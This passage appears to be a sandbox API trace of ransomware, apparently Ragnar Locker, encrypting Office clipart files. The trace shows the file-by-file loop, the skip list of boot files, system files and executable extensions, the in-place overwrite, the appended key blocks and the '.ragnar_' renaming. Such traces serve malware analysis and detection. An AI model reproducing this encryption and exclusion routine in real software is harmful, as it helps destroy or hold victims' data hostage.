[0086.953] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.953] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.953] GetProcessHeap () returned 0x580000 [0086.953] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.954] CloseHandle (hObject=0xf4) returned 1 [0086.954] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" [0086.954] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ragnar_FD7BD9FC" [0086.954] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.954] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0086.955] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.955] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239975.WMF" | out: lpString1="J0239975.WMF") returned="J0239975.WMF" [0086.955] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF") returned=".WMF" [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="autorun.inf") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="boot.ini") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="bootfont.bin") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="bootsect.bak") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="bootmgr") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="bootmgr.efi") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="bootmgfw.efi") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="desktop.ini") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="iconcache.db") returned 1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="ntldr") returned -1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="ntuser.dat") returned -1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="ntuser.dat.log") returned -1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="ntuser.ini") returned -1 [0086.955] lstrcmpiW (lpString1="J0239975.WMF", lpString2="thumbs.db") returned -1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.955] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf")) returned 0x20 [0086.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.956] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3488) returned 1 [0086.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.956] GetProcessHeap () returned 0x580000 [0086.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.956] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.958] VirtualAlloc (lpAddress=0x0, dwSize=0xda0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.958] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xda0, lpOverlapped=0x0) returned 1 [0086.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.958] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda0, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.958] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xda0, lpOverlapped=0x0) returned 1 [0086.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.959] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xda0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.959] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.959] GetProcessHeap () returned 0x580000 [0086.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.959] CloseHandle (hObject=0xf4) returned 1 [0086.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" [0086.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ragnar_FD7BD9FC" [0086.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0086.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.960] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239997.WMF" | out: lpString1="J0239997.WMF") returned="J0239997.WMF" [0086.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF") returned=".WMF" [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="autorun.inf") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="boot.ini") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootfont.bin") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootsect.bak") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootmgr") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootmgr.efi") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="bootmgfw.efi") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="desktop.ini") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="iconcache.db") returned 1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ntldr") returned -1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ntuser.dat") returned -1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ntuser.dat.log") returned -1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="ntuser.ini") returned -1 [0086.960] lstrcmpiW (lpString1="J0239997.WMF", lpString2="thumbs.db") returned -1 [0086.960] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.961] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf")) returned 0x20 [0086.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.961] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3288) returned 1 [0086.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xccf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.961] GetProcessHeap () returned 0x580000 [0086.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.961] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.963] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.963] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcd8, lpOverlapped=0x0) returned 1 [0086.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.963] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.963] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcd8, lpOverlapped=0x0) returned 1 [0086.964] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.964] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.964] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.964] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.964] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.964] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.964] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.964] GetProcessHeap () returned 0x580000 [0086.964] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.964] CloseHandle (hObject=0xf4) returned 1 [0086.964] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" [0086.964] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ragnar_FD7BD9FC" [0086.964] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.965] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0086.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.965] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0240157.WMF" | out: lpString1="J0240157.WMF") returned="J0240157.WMF" [0086.965] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF") returned=".WMF" [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="autorun.inf") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="boot.ini") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootfont.bin") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootsect.bak") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootmgr") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootmgr.efi") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootmgfw.efi") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="desktop.ini") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="iconcache.db") returned 1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ntldr") returned -1 [0086.965] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ntuser.dat") returned -1 [0086.966] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ntuser.dat.log") returned -1 [0086.966] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ntuser.ini") returned -1 [0086.966] lstrcmpiW (lpString1="J0240157.WMF", lpString2="thumbs.db") returned -1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.966] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf")) returned 0x20 [0086.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.967] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7672) returned 1 [0086.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1def, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.967] GetProcessHeap () returned 0x580000 [0086.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.967] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.969] VirtualAlloc (lpAddress=0x0, dwSize=0x1df8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.969] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1df8, lpOverlapped=0x0) returned 1 [0086.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.976] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.976] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1df8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1df8, lpOverlapped=0x0) returned 1 [0086.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.977] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1df8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.977] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, 